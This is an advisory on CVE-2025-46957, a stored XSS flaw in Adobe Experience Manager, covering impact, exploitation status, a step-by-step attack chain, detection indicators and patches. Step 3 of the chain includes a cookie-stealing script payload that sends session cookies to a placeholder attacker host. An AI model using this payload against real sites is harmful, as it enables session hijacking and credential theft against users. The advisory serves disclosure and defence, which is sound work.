CVE-2025-46957: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-46957 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.22 and earlier (on-premises) and AEM Cloud Service versions prior to 2025.5.0. The vulnerability was published on June 10, 2025, with a patch made available shortly after. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory, Feedly).

The root cause is improper neutralization of user-supplied input during web page generation (CWE-79), specifically in form fields within Adobe Experience Manager. A low-privileged, network-accessible attacker can inject malicious JavaScript into vulnerable form fields; the payload is stored server-side and executed in the browser of any victim who subsequently visits the page containing the compromised field. Exploitation requires user interaction (a victim browsing to the affected page) but does not require elevated privileges beyond a basic authenticated account (Adobe Advisory, Feedly).

Successful exploitation allows an attacker to execute arbitrary JavaScript in a victim's browser within the context of the AEM application. This can lead to session hijacking, credential theft, unauthorized actions performed on behalf of the victim, and exposure of sensitive information accessible to the victim's session. The changed scope indicator in the CVSS vector reflects that the impact extends beyond the attacker's own session to affect other users of the application (Adobe Advisory, Feedly).

There is currently no public proof-of-concept exploit code and no evidence of in-the-wild exploitation for CVE-2025-46957. The EPSS score is approximately 0.029% (0.000290), indicating a low probability of exploitation in the near term. The vulnerability has not been added to the CISA Known Exploited Vulnerabilities (KEV) catalog as of the time of this report (Feedly, Adobe Advisory).

1. Reconnaissance: Identify an Adobe Experience Manager instance running version 6.5.22 or earlier, or AEM Cloud Service prior to 2025.5.0, with accessible form fields that accept user input.
2. Authentication: Obtain or use a low-privileged AEM user account (e.g., a content author or contributor account).
3. Payload Injection: Navigate to a vulnerable form field within AEM (e.g., a content authoring form or page property field) and inject a malicious JavaScript payload such as <script>document.location='https://attacker.com/steal?c='+document.cookie</script> or an equivalent XSS vector.
4. Payload Storage: Submit the form, causing the malicious script to be stored server-side within the AEM content repository.
5. Victim Triggering: Wait for or socially engineer a higher-privileged victim (e.g., an AEM administrator or editor) to browse to the page containing the injected field.
6. Script Execution: The victim's browser renders the page and executes the stored JavaScript, enabling session cookie theft, credential harvesting, or other malicious actions on behalf of the attacker (Adobe Advisory, Feedly).

• Logs: AEM access logs showing POST requests to content authoring endpoints (e.g., /content/, /editor.html/) from low-privileged accounts containing HTML/JavaScript tags or encoded XSS payloads in request bodies.
• File System / Content Repository: Unexpected <script> tags, JavaScript event handlers (e.g., onerror, onload), or encoded equivalents stored within AEM page properties or form field values in the JCR (Java Content Repository).
• Network: Outbound HTTP requests from victim browsers to unknown external domains shortly after visiting AEM-authored pages, potentially carrying session tokens or cookie data as query parameters.
• Browser / Application: Unexpected redirects or pop-ups experienced by AEM users when browsing specific content pages; reports from users of anomalous browser behavior on AEM-hosted pages (Feedly).

Adobe has released patches addressing this vulnerability: update AEM on-premises to version 6.5.23.0 or later, and update AEM Cloud Service to 2025.5.0 or later. As interim mitigations, organizations should implement a strict Content Security Policy (CSP) to limit script execution, enforce rigorous input validation and output encoding on all form fields, and restrict low-privileged user access to sensitive authoring interfaces. Regularly auditing stored content for unexpected script tags is also recommended (Adobe Advisory, Feedly).